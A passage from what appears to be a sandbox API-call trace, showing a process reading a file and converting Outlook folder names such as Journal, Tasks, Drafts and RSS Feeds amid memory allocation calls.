lpBuffer=0x71a6260*, lpNumberOfBytesRead=0x6a1e698*=0x76, lpOverlapped=0x0) returned 1 [0100.386] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a9c0 [0100.386] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x43c2800 [0100.387] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2815190 [0100.387] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1f00 [0100.387] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x723b7e0 [0100.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Journal", cchWideChar=16, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Journal", lpUsedDefaultChar=0x0) returned 16 [0100.387] LocalFree (hMem=0x723b7e0) returned 0x0 [0100.387] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x723b7e0 [0100.387] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c28f0 [0100.387] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296030 [0100.387] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c24d0 [0100.387] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296000 [0100.387] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0040 [0100.387] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296020 [0100.387] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0eb0 [0100.387] LocalAlloc (uFlags=0x40, uBytes=0x17) returned 0x723a2e0 [0100.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IPF.Journal", cchWideChar=24, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IPF.Journal", lpUsedDefaultChar=0x0) returned 24 [0100.387] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.387] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a2e0 [0100.387] LocalFree (hMem=0x71a6260) returned 0x0 [0100.387] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.387] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x4450a60 [0100.387] LocalFree (hMem=0x723b7e0) returned 0x0 [0100.387] LocalFree (hMem=0x7296030) returned 0x0 [0100.387] LocalFree (hMem=0x7296000) returned 0x0 [0100.387] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x723b7e0 [0100.387] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.387] LocalFree (hMem=0x43c1f00) returned 0x0 [0100.387] LocalFree (hMem=0x43c28f0) returned 0x0 [0100.387] LocalFree (hMem=0x43c24d0) returned 0x0 [0100.387] LocalFree (hMem=0x7296020) returned 0x0 [0100.388] LocalFree (hMem=0x43c0040) returned 0x0 [0100.388] LocalFree (hMem=0x43c0eb0) returned 0x0 [0100.388] LocalFree (hMem=0x2815190) returned 0x0 [0100.388] LocalFree (hMem=0x43c2800) returned 0x0 [0100.388] LocalFree (hMem=0x723b7e0) returned 0x0 [0100.388] LocalFree (hMem=0x4450a60) returned 0x0 [0100.388] bsearch (_Key=0x6a1e6c8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457a08 [0100.388] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x71a6260 [0100.388] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=22592, lpDistanceToMoveHigh=0x6a1e688*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e688*=0) returned 0x5840 [0100.388] ReadFile (in: hFile=0x12b4, lpBuffer=0x71a6260, nNumberOfBytesToRead=0x78, lpNumberOfBytesRead=0x6a1e698, lpOverlapped=0x0 | out: lpBuffer=0x71a6260*, lpNumberOfBytesRead=0x6a1e698*=0x78, lpOverlapped=0x0) returned 1 [0100.388] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b7e0 [0100.388] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x43c2800 [0100.388] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2815190 [0100.388] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0eb0 [0100.388] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x723a2e0 [0100.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes", cchWideChar=12, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes", lpUsedDefaultChar=0x0) returned 12 [0100.388] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.388] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x723a2e0 [0100.388] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0040 [0100.388] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296020 [0100.388] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c24d0 [0100.388] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296000 [0100.388] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c28f0 [0100.388] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296030 [0100.388] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1f00 [0100.389] LocalAlloc (uFlags=0x40, uBytes=0x1d) returned 0x43bfd70 [0100.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IPF.StickyNote", cchWideChar=30, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IPF.StickyNote", lpUsedDefaultChar=0x0) returned 30 [0100.389] LocalFree (hMem=0x43bfd70) returned 0x0 [0100.389] LocalAlloc (uFlags=0x40, uBytes=0x1e) returned 0x43bfd70 [0100.389] LocalFree (hMem=0x71a6260) returned 0x0 [0100.389] LocalFree (hMem=0x723b7e0) returned 0x0 [0100.389] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x4450a60 [0100.389] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.389] LocalFree (hMem=0x7296020) returned 0x0 [0100.389] LocalFree (hMem=0x7296000) returned 0x0 [0100.389] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x723a2e0 [0100.389] LocalFree (hMem=0x43bfd70) returned 0x0 [0100.389] LocalFree (hMem=0x43c0eb0) returned 0x0 [0100.389] LocalFree (hMem=0x43c0040) returned 0x0 [0100.389] LocalFree (hMem=0x43c24d0) returned 0x0 [0100.389] LocalFree (hMem=0x7296030) returned 0x0 [0100.389] LocalFree (hMem=0x43c28f0) returned 0x0 [0100.389] LocalFree (hMem=0x43c1f00) returned 0x0 [0100.389] LocalFree (hMem=0x2815190) returned 0x0 [0100.389] LocalFree (hMem=0x43c2800) returned 0x0 [0100.389] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.389] LocalFree (hMem=0x4450a60) returned 0x0 [0100.389] bsearch (_Key=0x6a1e6c8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457a30 [0100.389] LocalAlloc (uFlags=0x40, uBytes=0x6c) returned 0x71a6260 [0100.389] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=22912, lpDistanceToMoveHigh=0x6a1e688*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e688*=0) returned 0x5980 [0100.389] ReadFile (in: hFile=0x12b4, lpBuffer=0x71a6260, nNumberOfBytesToRead=0x6c, lpNumberOfBytesRead=0x6a1e698, lpOverlapped=0x0 | out: lpBuffer=0x71a6260*, lpNumberOfBytesRead=0x6a1e698*=0x6c, lpOverlapped=0x0) returned 1 [0100.389] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a2e0 [0100.389] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x43c2800 [0100.389] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2815190 [0100.390] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1f00 [0100.390] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x723b7e0 [0100.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tasks", cchWideChar=12, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tasks", lpUsedDefaultChar=0x0) returned 12 [0100.390] LocalFree (hMem=0x723b7e0) returned 0x0 [0100.390] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x723b7e0 [0100.390] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c28f0 [0100.390] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296030 [0100.390] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c24d0 [0100.390] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296000 [0100.390] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0040 [0100.390] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296020 [0100.390] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0eb0 [0100.390] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x723a9c0 [0100.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IPF.Task", cchWideChar=18, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IPF.Task", lpUsedDefaultChar=0x0) returned 18 [0100.390] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.390] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x723a9c0 [0100.390] LocalFree (hMem=0x71a6260) returned 0x0 [0100.390] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.390] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x4450a60 [0100.390] LocalFree (hMem=0x723b7e0) returned 0x0 [0100.390] LocalFree (hMem=0x7296030) returned 0x0 [0100.390] LocalFree (hMem=0x7296000) returned 0x0 [0100.390] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x723b7e0 [0100.390] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.390] LocalFree (hMem=0x43c1f00) returned 0x0 [0100.390] LocalFree (hMem=0x43c28f0) returned 0x0 [0100.391] LocalFree (hMem=0x43c24d0) returned 0x0 [0100.391] LocalFree (hMem=0x7296020) returned 0x0 [0100.391] LocalFree (hMem=0x43c0040) returned 0x0 [0100.391] LocalFree (hMem=0x43c0eb0) returned 0x0 [0100.391] LocalFree (hMem=0x2815190) returned 0x0 [0100.391] LocalFree (hMem=0x43c2800) returned 0x0 [0100.391] LocalFree (hMem=0x723b7e0) returned 0x0 [0100.391] LocalFree (hMem=0x4450a60) returned 0x0 [0100.391] bsearch (_Key=0x6a1e6c8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457a58 [0100.391] LocalAlloc (uFlags=0x40, uBytes=0x6e) returned 0x71a6260 [0100.391] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=24064, lpDistanceToMoveHigh=0x6a1e688*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e688*=0) returned 0x5e00 [0100.391] ReadFile (in: hFile=0x12b4, lpBuffer=0x71a6260, nNumberOfBytesToRead=0x6e, lpNumberOfBytesRead=0x6a1e698, lpOverlapped=0x0 | out: lpBuffer=0x71a6260*, lpNumberOfBytesRead=0x6a1e698*=0x6e, lpOverlapped=0x0) returned 1 [0100.391] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b7e0 [0100.391] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x43c2800 [0100.391] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2815190 [0100.391] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0eb0 [0100.391] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x723a9c0 [0100.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Drafts", cchWideChar=14, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Drafts", lpUsedDefaultChar=0x0) returned 14 [0100.391] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.391] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x723a9c0 [0100.391] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0040 [0100.391] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296020 [0100.391] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c24d0 [0100.391] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296000 [0100.391] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c28f0 [0100.391] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296030 [0100.392] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1f00 [0100.392] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x723a2e0 [0100.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IPF.Note", cchWideChar=18, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IPF.Note", lpUsedDefaultChar=0x0) returned 18 [0100.392] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.392] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x723a2e0 [0100.392] LocalFree (hMem=0x71a6260) returned 0x0 [0100.392] LocalFree (hMem=0x723b7e0) returned 0x0 [0100.392] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x4450a60 [0100.392] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.392] LocalFree (hMem=0x7296020) returned 0x0 [0100.392] LocalFree (hMem=0x7296000) returned 0x0 [0100.392] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x723a9c0 [0100.392] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.392] LocalFree (hMem=0x43c0eb0) returned 0x0 [0100.392] LocalFree (hMem=0x43c0040) returned 0x0 [0100.392] LocalFree (hMem=0x43c24d0) returned 0x0 [0100.392] LocalFree (hMem=0x7296030) returned 0x0 [0100.392] LocalFree (hMem=0x43c28f0) returned 0x0 [0100.392] LocalFree (hMem=0x43c1f00) returned 0x0 [0100.392] LocalFree (hMem=0x2815190) returned 0x0 [0100.392] LocalFree (hMem=0x43c2800) returned 0x0 [0100.392] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.392] LocalFree (hMem=0x4450a60) returned 0x0 [0100.392] bsearch (_Key=0x6a1e6c8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457a80 [0100.392] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x28c4de0 [0100.392] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=18944, lpDistanceToMoveHigh=0x6a1e688*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e688*=0) returned 0x4a00 [0100.392] ReadFile (in: hFile=0x12b4, lpBuffer=0x28c4de0, nNumberOfBytesToRead=0x94, lpNumberOfBytesRead=0x6a1e698, lpOverlapped=0x0 | out: lpBuffer=0x28c4de0*, lpNumberOfBytesRead=0x6a1e698*=0x94, lpOverlapped=0x0) returned 1 [0100.392] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a9c0 [0100.392] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x43c2800 [0100.393] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2815190 [0100.393] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1f00 [0100.393] LocalAlloc (uFlags=0x40, uBytes=0x13) returned 0x723a2e0 [0100.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSS Feeds", cchWideChar=20, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RSS Feeds", lpUsedDefaultChar=0x0) returned 20 [0100.393] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.393] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x723a2e0 [0100.393] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c28f0 [0100.393] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296030 [0100.393] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c24d0 [0100.393] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296000 [0100.393] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0040 [0100.393] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296020 [0100.393] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0eb0 [0100.393] LocalAlloc (uFlags=0x40, uBytes=0x31) returned 0x72b8760 [0100.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IPF.Note.OutlookHomepage", cchWideChar=50, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IPF.Note.OutlookHomepage", lpUsedDefaultChar=0x0) returned 50 [0100.393] LocalFree (hMem=0x72b8760) returned 0x0 [0100.393] LocalAlloc (uFlags=0x40, uBytes=0x32) returned 0x72b8760 [0100.393] LocalFree (hMem=0x28c4de0) returned 0x0 [0100.393] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.393] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x4450a60 [0100.393] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.393] LocalFree (hMem=0x7296030) returned 0x0 [0100.393] LocalFree (hMem=0x7296000) returned 0x0 [0100.393] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x723a2e0 [0100.393] LocalFree (hMem=0x72b8760) returned 0x0 [0100.393] LocalFree (hMem=0x43c1f00) returned 0x0 [0100.393] LocalFree (hMem=0x43c28f0) returned 0x0 [0100.393] LocalFree (hMem=0x43c24d0) returned 0x0 [0100.394] LocalFree (hMem=0x7296020) returned 0x0 [0100.394] LocalFree (hMem=0x43c0040) returned 0x0 [0100.394] LocalFree (hMem=0x43c0eb0) returned 0x0 [0100.394] LocalFree (hMem=0x2815190) returned 0x0 [0100.394] LocalFree (hMem=0x43c2800) returned 0x0 [0100.394] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.394] LocalFree (hMem=0x4450a60) returned 0x0 [0100.394] bsearch (_Key=0x6a1e6c8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457aa8 [0100.394] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x72912f0 [0100.394] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=25088, lpDistanceToMoveHigh=0x6a1e688*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e688*=0) returned 0x6200 [0100.394] ReadFile (in: hFile=0x12b4, lpBuffer=0x72912f0, nNumberOfBytesToRead=0xb4, lpNumberOfBytesRead=0x6a1e698, lpOverlapped=0x0 | out: lpBuffer=0x72912f0*, lpNumberOfBytesRead=0x6a1e698*=0xb4, lpOverlapped=0x0) returned 1 [0100.394] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a2e0 [0100.394] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x43c2800 [0100.394] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x71c1ff0 [0100.394] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0eb0 [0100.394] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296020 [0100.394] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0040 [0100.394] LocalAlloc (uFlags=0x40, uBytes=0x39) returned 0x71b7f00 [0100.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Conversation Action Settings", cchWideChar=58, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Conversation Action Settings", lpUsedDefaultChar=0x0) returned 58 [0100.394] LocalFree (hMem=0x71b7f00) returned 0x0 [0100.394] LocalAlloc (uFlags=0x40, uBytes=0x3a) returned 0x71b7f00 [0100.394] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c24d0 [0100.394] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296000 [0100.394] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c28f0 [0100.394] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296030 [0100.394] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1f00 [0100.395] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296010 [0100.395] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43bfd70 [0100.395] LocalAlloc (uFlags=0x40, uBytes=0x23) returned 0x43c0f10 [0100.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IPF.Configuration", cchWideChar=36, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IPF.Configuration", lpUsedDefaultChar=0x0) returned 36 [0100.395] LocalFree (hMem=0x43c0f10) returned 0x0 [0100.395] LocalAlloc (uFlags=0x40, uBytes=0x24) returned 0x43c0f10 [0100.395] LocalFree (hMem=0x72912f0) returned 0x0 [0100.395] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.395] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x4450a60 [0100.395] LocalFree (hMem=0x7296020) returned 0x0 [0100.395] LocalFree (hMem=0x71b7f00) returned 0x0 [0100.395] LocalFree (hMem=0x7296000) returned 0x0 [0100.395] LocalFree (hMem=0x7296030) returned 0x0 [0100.395] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x723a2e0 [0100.395] LocalFree (hMem=0x43c0f10) returned 0x0 [0100.395] LocalFree (hMem=0x43c0eb0) returned 0x0 [0100.395] LocalFree (hMem=0x43c0040) returned 0x0 [0100.395] LocalFree (hMem=0x43c24d0) returned 0x0 [0100.395] LocalFree (hMem=0x43c28f0) returned 0x0 [0100.395] LocalFree (hMem=0x7296010) returned 0x0 [0100.395] LocalFree (hMem=0x43c1f00) returned 0x0 [0100.395] LocalFree (hMem=0x43bfd70) returned 0x0 [0100.395] LocalFree (hMem=0x71c1ff0) returned 0x0 [0100.395] LocalFree (hMem=0x43c2800) returned 0x0 [0100.395] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.395] LocalFree (hMem=0x4450a60) returned 0x0 [0100.395] bsearch (_Key=0x6a1e6c8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457ad0 [0100.395] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf3b0 [0100.395] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=27456, lpDistanceToMoveHigh=0x6a1e688*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e688*=0) returned 0x6b40 [0100.396] ReadFile (in: hFile=0x12b4, lpBuffer=0x71cf3b0, nNumberOfBytesToRead=0xa2, lpNumberOfBytesRead=0x6a1e698, lpOverlapped=0x0 | out: lpBuffer=0x71cf3b0*, lpNumberOfBytesRead=0x6a1e698*=0xa2, lpOverlapped=0x0) returned 1 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a2e0 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x43c2800 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x71c1ff0 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43bfd70 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296010 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1f00 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0x27) returned 0x43c28f0 [0100.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Quick Step Settings", cchWideChar=40, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Quick Step Settings", lpUsedDefaultChar=0x0) returned 40 [0100.396] LocalFree (hMem=0x43c28f0) returned 0x0 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0x28) returned 0x43c28f0 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c24d0 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296030 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0040 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296000 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0eb0 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296020 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0f10 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0x23) returned 0x43c2770 [0100.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IPF.Configuration", cchWideChar=36, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IPF.Configuration", lpUsedDefaultChar=0x0) returned 36 [0100.396] LocalFree (hMem=0x43c2770) returned 0x0 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0x24) returned 0x43c2770 [0100.396] LocalFree (hMem=0x71cf3b0) returned 0x0 [0100.396] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.396] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x4450a60 [0100.396] LocalFree (hMem=0x7296010) returned 0x0 [0100.396] LocalFree (hMem=0x43c28f0) returned 0x0 [0100.396] LocalFree (hMem=0x7296030) returned 0x0 [0100.396] LocalFree (hMem=0x7296000) returned 0x0 [0100.397] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x723a2e0 [0100.397] LocalFree (hMem=0x43c2770) returned 0x0 [0100.397] LocalFree (hMem=0x43bfd70) returned 0x0 [0100.397] LocalFree (hMem=0x43c1f00) returned 0x0 [0100.397] LocalFree (hMem=0x43c24d0) returned 0x0 [0100.397] LocalFree (hMem=0x43c0040) returned 0x0 [0100.397] LocalFree (hMem=0x7296020) returned 0x0 [0100.397] LocalFree (hMem=0x43c0eb0) returned 0x0 [0100.397] LocalFree (hMem=0x43c0f10) returned 0x0 [0100.397] LocalFree (hMem=0x71c1ff0) returned 0x0 [0100.397] LocalFree (hMem=0x43c2800) returned 0x0 [0100.397] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.397] LocalFree (hMem=0x4450a60) returned 0x0 [0100.397] CloseHandle (hObject=0x12b4) returned 1 [0100.397] LocalFree (hMem=0x4457620) returned 0x0 [0100.397] LocalFree (hMem=0x44666a0) returned 0x0 [0100.397] LocalFree (hMem=0x4466400) returned 0x0 [0100.397] LocalFree (hMem=0x71e39a0) returned 0x0 [0100.397] LocalFree (hMem=0x71e25c0) returned 0x0 [0100.397] LocalFree (hMem=0x71e35e0) returned 0x0 [0100.397] LocalFree (hMem=0x71e3100) returned 0x0 [0100.397] LocalFree (hMem=0x71e2bc0) returned 0x0 [0100.397] LocalFree (hMem=0x71e2920) returned 0x0 [0100.397] LocalFree (hMem=0x71e2320) returned 0x0 [0100.397] LocalFree (hMem=0x71e8b80) returned 0x0 [0100.397] LocalFree (hMem=0x71ea4a0) returned 0x0 [0100.397] LocalFree (hMem=0x71ea0e0) returned 0x0 [0100.397] LocalFree (hMem=0x71ea2c0) returned 0x0 [0100.397] LocalFree (hMem=0x71e9de0) returned 0x0 [0100.397] LocalFree (hMem=0x71e9ea0) returned 0x0 [0100.397] LocalFree (hMem=0x71e9960) returned 0x0 [0100.397] LocalFree (hMem=0x71e32e0) returned 0x0 [0100.397] LocalFree (hMem=0x71e2d40) returned 0x0 [0100.397] LocalFree (hMem=0x71e29e0) returned 0x0 [0100.397] LocalFree (hMem=0x71e9840) returned 0x0 [0100.398] LocalFree (hMem=0x71d2940) returned 0x0 [0100.398] LocalFree (hMem=0x71d2b20) returned 0x0 [0100.398] LocalFree (hMem=0x71e2440) returned 0x0 [0100.398] LocalFree (hMem=0x71e9420) returned 0x0 [0100.398] LocalFree (hMem=0x71e9060) returned 0x0 [0100.398] LocalFree (hMem=0x71e8d60) returned 0x0 [0100.398] LocalFree (hMem=0x4466d60) returned 0x0 [0100.398] LocalFree (hMem=0x4466e20) returned 0x0 [0100.398] LocalFree (hMem=0x72022f0) returned 0x0 [0100.398] LocalFree (hMem=0x7201510) returned 0x0 [0100.398] LocalFree (hMem=0x7201570) returned 0x0 [0100.398] LocalFree (hMem=0x72015d0) returned 0x0 [0100.398] LocalFree (hMem=0x7201630) returned 